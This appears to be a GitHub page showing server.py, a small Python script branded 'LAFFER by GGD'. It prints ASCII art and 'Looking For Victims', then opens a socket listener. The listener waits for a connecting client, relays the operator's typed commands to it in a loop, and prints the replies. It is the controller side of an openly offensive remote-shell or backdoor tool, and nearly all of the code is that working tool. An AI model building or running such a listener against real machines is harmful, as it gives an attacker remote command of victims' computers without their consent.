-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
90 lines (76 loc) · 3.86 KB
/
server.py
File metadata and controls
90 lines (76 loc) · 3.86 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import socket
print ("""
██╗░░░░░░█████╗░███████╗███████╗███████╗██████╗
██║░░░░░██╔══██╗██╔════╝██╔════╝██╔════╝██╔══██╗
██║░░░░░███████║█████╗░░█████╗░░█████╗░░██████╔╝
██║░░░░░██╔══██║██╔══╝░░██╔══╝░░██╔══╝░░██╔══██╗
███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║
╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝
.sd$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$;
.d$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
.d$$$$$$$$$$P*"' `"*T$$$$$$$$$$$$$$$
s$$$$$$$$$P* `*T$$$$$$$$$$$
d$$$$$$$$P' `*T$$$$$$$P
d$$$$$$$P' `T$$$$P
d$$$$$$P' `T$P \
d$$$$$P' \
.$$$$$' .*"* .
:$$$$; .*"*-.
$$$$$' / `
$$$$$. .s$$s. `*. :
$$$$$; d$$$$$$b ; .s$s.
$$$$$$b. d$$$$$$$$b ; d$$$$$b
$$$$$$$$$bs._ d$$$$P^^T$$b / d$P***T$b
$$$$$$$$$$$$$$bs+=- .$$P** `TP dP .`T
$$$$$$$$$$$$$$$$P' :P' __ /
$$$$$$$$$$$$$$$P $ .' `. /`-. .
T$$$$$$$$$$$$$$ : / \ . `.
T$$$$$$$$$$$$$ : ; \.
T*' `*^$$$$ |+*"$P*sss*" :*"$P*ss*"
/ `T$$ | Tbd$P : Tbd$P
; ._ T$ | T$$P : T$P _._
`"*+. T *"**--._/ \ /`. .-*" `*.
.*' `. `* `*---*' ;
( `. |
.' \ ;
\ / /`*+...___ `-. .*
`-._ _.+' `*. __""*****------`*-.____.+*"'
"*" \ `. ""*****------**"/;
`. \ `--..._______...'/
`*--..___.`. /
`*-...______..-*'
by GGD """)
print('')
print ('Looking For Victims')
class Server:
def __init__(self):
self.host = '127.0.0.1'
self.port = 6759
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def bind(self):
self.server.bind((self.host,self.port))
self.server.listen(5)
def accept(self):
client, addr = self.server.accept()
self.client = client
self.addr = addr
print ('Connection Established With Client Number: ',self.addr )
def send(self,data):
self.client.send(data.encode('UTF-8'))
def recv(self):
self.msg = self.client.recv(10240).decode('UTF-8')
return self.msg
serv = Server()
serv.bind()
serv.accept()
run = True
while run:
try:
client_response = serv.recv()
data = input(client_response)
serv.send(data)
print(serv.recv())
except ConnectionResetError:
print('Client lost server connection')
print('Trying to connect . . .')
serv.accept()